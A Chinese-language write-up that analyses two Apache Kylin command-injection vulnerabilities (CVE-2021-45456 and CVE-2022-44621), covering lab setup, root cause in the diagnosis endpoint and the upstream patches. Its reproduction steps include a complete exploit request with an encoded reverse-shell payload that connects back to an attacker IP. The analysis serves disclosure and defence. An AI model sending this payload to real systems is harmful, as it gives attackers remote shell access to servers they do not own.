kylin CVE-2021-45456 & CVE-2022-44621
字数 1661 2025-08-25 22:58:40
Apache Kylin 命令注入漏洞分析 (CVE-2021-45456 & CVE-2022-44621)
前言
本文详细分析 Apache Kylin 中的两个命令注入漏洞:CVE-2021-45456 和 CVE-2022-44621。这两个漏洞都涉及系统未正确过滤用户输入导致命令执行的安全问题。
CVE-2021-45456 漏洞分析
漏洞概述
CVE-2021-45456 是由于系统直接将用户请求中的 project 参数传入并执行,导致命令注入漏洞。
影响版本
- Kylin 4.0.0
环境配置
测试环境搭建
使用官方 Docker 镜像搭建环境:
docker pull apachekylin/apache-kylin-standalone:4.0.0
docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 2181:2181 -p 5005:5005 apachekylin/apache-kylin-standalone:4.0.0
端口说明
- 5005:远程调试端口
- 7070:Kylin 页面 (http://127.0.0.1:7070/kylin/login)
- 50080:HDFS NameNode 页面
- 8088:YARN ResourceManager 页面
调试配置
修改 kylin.sh 添加调试参数:
sed -i 's/\${KYLIN_TOMCAT_OPTS} -classpath/\${KYLIN_TOMCAT_OPTS} -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath/g' /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh
sh /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh restart
漏洞复现步骤
- 登录 Kylin (默认账号: admin/KYLIN)
- 创建一个特殊命名的项目,名称包含恶意命令:
nohupshcechoc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS8xMjM0NSAwPiYxCgbase64d - 在攻击机使用 nc 监听 12345 端口
- 发送恶意请求触发漏洞:
GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1 Host: 127.0.0.1:7070 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D Upgrade-Insecure-Requests: 1 - 攻击机将收到反弹 shell
漏洞原理分析
- 请求到达
org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo方法 - 系统使用
ValidateUtil#convertStringToBeAlphanumericUnderscore方法过滤project参数:public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) { return toBeConverted.replaceAll("[^a-zA-Z0-9_]", ""); } - 过滤后的参数用于检查项目是否存在
- 关键问题:传递给
runDiagnosisCLI方法的参数是原始未过滤的project参数 runDiagnosisCLI方法将参数拼接后直接执行系统命令
修复方案
补丁链接:https://github.com/apache/kylin/pull/1781
修复方法:确保传递给 runDiagnosisCLI 方法的参数是经过过滤的参数,保持参数一致性。
CVE-2022-44621 漏洞分析
漏洞概述
CVE-2022-44621 是由于系统未正确过滤 jobId 参数,可能导致命令注入。但实际利用存在限制。
漏洞分析
- 漏洞存在于下载 job 的功能接口
- 系统首先根据
jobId查询是否存在该 job - 如果
jobId可控,攻击者可植入恶意命令 - 关键限制:
jobId是系统生成的 UUID,攻击者无法控制其值 - 因此实际利用场景有限
修复方案
补丁链接:https://github.com/apache/kylin/pull/2011/files
修复方法:对 jobId 参数进行更严格的验证和过滤。
总结
- CVE-2021-45456 是一个高危漏洞,允许通过精心构造的
project参数实现远程命令执行 - CVE-2022-44621 由于
jobId不可控,实际利用难度较大 - 两个漏洞都源于系统未正确处理用户输入,直接将用户输入用于命令执行
- 修复方案都涉及对用户输入进行更严格的验证和过滤
参考链接
- https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051_Apache_Kylin/
- https://y4er.com/posts/cve-2021-45456-apache-kylin-command-injection/
- https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf
- https://lists.apache.org/thread/7ctchj24dofgsj9g1rg1245cms9myb34